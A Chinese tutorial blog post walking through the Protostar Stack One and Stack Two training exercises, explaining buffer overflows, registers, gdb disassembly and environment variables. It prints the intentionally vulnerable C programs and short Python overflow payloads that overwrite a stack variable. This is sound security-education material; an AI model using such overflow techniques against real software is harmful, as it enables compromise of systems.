二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two

前言

Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了,这里是文章链接

复制代码
https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501

什么是缓冲区溢出

当系统向缓冲区写入的数据多于它可以容纳的数据时,就会发生缓冲区溢出或缓冲区溢出,用更简单的话说就是在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作

什么是寄存器

寄存器是内存中非常靠近cpu的区域,因此可以快速访问它们,但是在这些寄存器里面能存储的东西非常有限

计算机寄存器是位于CPU内部的一组用于存储和处理数据的高速存储器。用于存放指令、数据和运算结果

常见的寄存器名称以及作用:

复制代码
累加器寄存器(Accumulator Register,EAX):用于存储操作数和运算结果,在算术和逻辑操作中经常使用。

基址指针寄存器(Base Pointer Register,EBP):用于指向堆栈帧的基地址,通常用于函数调用和局部变量访问。

堆栈指针寄存器(Stack Pointer Register,ESP):指向当前活动堆栈的栈顶地址,在函数调用和参数传递中经常使用。

数据寄存器(Data Register,EDX、ECX、EBX):用于存储数据,在算术和逻辑操作中经常使用。

指令指针寄存器(Instruction Pointer Register,EIP):存储当前要执行的指令的内存地址,用于指示下一条要执行的指令。

Stack One

程序静态分析

复制代码
https://exploit.education/protostar/stack-one/
复制代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

源代码分析

首先程序定义了两个函数变量

复制代码
volatile int modified;
char buffer[64];

整数型变量 modified 和字符型变量buffer,其中字符型变量buffer的字符存储最大为64个字节

然后程序检测了我们输入的参数

复制代码
if(argc == 1) {
    errx(1, "please specify an argument\n");
}

如果我们只运行程序,不输入参数就会输出please specify an argument并结束程序

之后程序定义了一个变量和进行了一个字符串复制操作

复制代码
modified = 0;
strcpy(buffer, argv[1]);

modified变量为0,然后将我们输入的参数复制到buffer变量里

然后程序做了一个简单的if判断

复制代码
if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
} else {
    printf("Try again, you got 0x%08x\n", modified);

如果modified变量等于0x61626364就输出you have correctly got the variable to the right value,代表着我们破解成功

0x61626364是十六进制,转换字符串是大写的ABCD

也就是说,我们使modified变量变成ABCD就成功了,但是modified变量设置为0,这里我们就需要栈溢出覆盖变量原本设置的值

汇编分析

使用gdb打开程序,输入指令查看汇编代码

复制代码
set disassembly-flavor intel
disassemble main
复制代码
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret

程序最关键的地方在这里

复制代码
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

它使用mov指令将esp+0x5c栈内地址的值移动到eax寄存器里,然后用cmp指令将eax寄存器里的值与0x61626364做对比,如果对比的值不一样就执行jne指令跳转到0x80484c0地址继续执行其他指令

程序动态分析

我们先在程序执行对比指令的地址下一个断点

复制代码
b *0x080484ab

然后设置一下自动运行我们设置的命令

复制代码
define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

然后执行程序,并指定参数

复制代码
r AAAAAAAA

程序执行到我们设置的断点处自动执行了我们上面设置的命令,在这里可以看到我们输入的8个大写A在栈中的位置,并且eax寄存器里的值为0

之前说过,程序将esp+0x5c地址处的值移动到了eax寄存器里,然后执行对比指令

我们查看esp+0x5c地址存放的值

复制代码
x/wx $esp+0x5c

esp+0x5c地址就是栈里的0xbffff78c,每一段存放四个字符,c代表的是12

从存放我们输入的值的栈地址到esp+0x5c,中间共有64个字符,也就是说,我们需要输出64个字符+4个我们指定的字符才能覆盖modified变量

在这里还有一个知识点是在x86架构里,读取是由低到高的,要使modified变量变成0x61626364,不能直接输入abcd,而是dcba

复制代码
 python -c "print('A'*(4*16)+'dcba')"

成功破解了程序

Stack Two

程序静态分析

复制代码
https://exploit.education/protostar/stack-two/

程序源代码:

复制代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这个程序代码和第一个差不多,只不过是将我们的输入变成了读取环境变量里的GREENIE变量内容

什么是环境变量

任何计算机编程语言的两个基本组成部分,变量和常量。就像数学方程式中的自变量一样。变量和常量都代表唯一的内存位置,其中包含程序在其计算中使用的数据。两者的区别在于,变量在执行过程中可能会发生变化,而常量不能重新赋值

这里只举几个常见的环境变量

$PATH

包含了一些目录列表,作用是终端会在这些目录中搜索要执行的程序

查看$PATH环境变量

复制代码
echo $PATH

假如我要执行whoami程序,那么终端会在这个环境变量里搜索名为whoami程序

搜索的目录如下

复制代码
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games

而whoami程序在/usr/bin目录下,终端会执行这个目录下的whoami程序

而windows的PATH环境变量在这可以看到

$HOME

包含了当前用户的主目录

复制代码
echo $HOME

$PWD

包含了当前用户目前所在的目录位置

关于环境变量的更多信息:

复制代码
https://en.wikipedia.org/wiki/Environment_variable

破解程序

回到正题

复制代码
variable = getenv("GREENIE");
strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

首先获取了一个名为GREENIE的环境变量,然后将内容赋予variable变量,之后if判断modified是否等于0x0d0a0d0a,这个和第一个程序一模一样,只不过我们不是通过输入来破解程序,而是将payload放到指定的环境变量里,然后程序读取环境变量

复制代码
export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2

直接运行就能成功破解了

相关推荐
Hi2024021714 分钟前
在Docker容器中安全运行OpenClaw:无需虚拟机,体验AI助手
人工智能·安全·docker·openclaw
种时光的人14 分钟前
CANN 生态 ×AIGC 合规:cann-compliance 让大模型落地既安全又合规
安全·aigc
hzb6666620 分钟前
unictf2026
开发语言·javascript·安全·web安全·php
大模型玩家七七1 小时前
基于语义切分 vs 基于结构切分的实际差异
java·开发语言·数据库·安全·batch
Hello.Reader9 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能9 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
数据与后端架构提升之路10 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
市场部需要一个软件开发岗位12 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa12 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗
凯子坚持 c12 小时前
CANN-LLM:基于昇腾 CANN 的高性能、全功能 LLM 推理引擎
人工智能·安全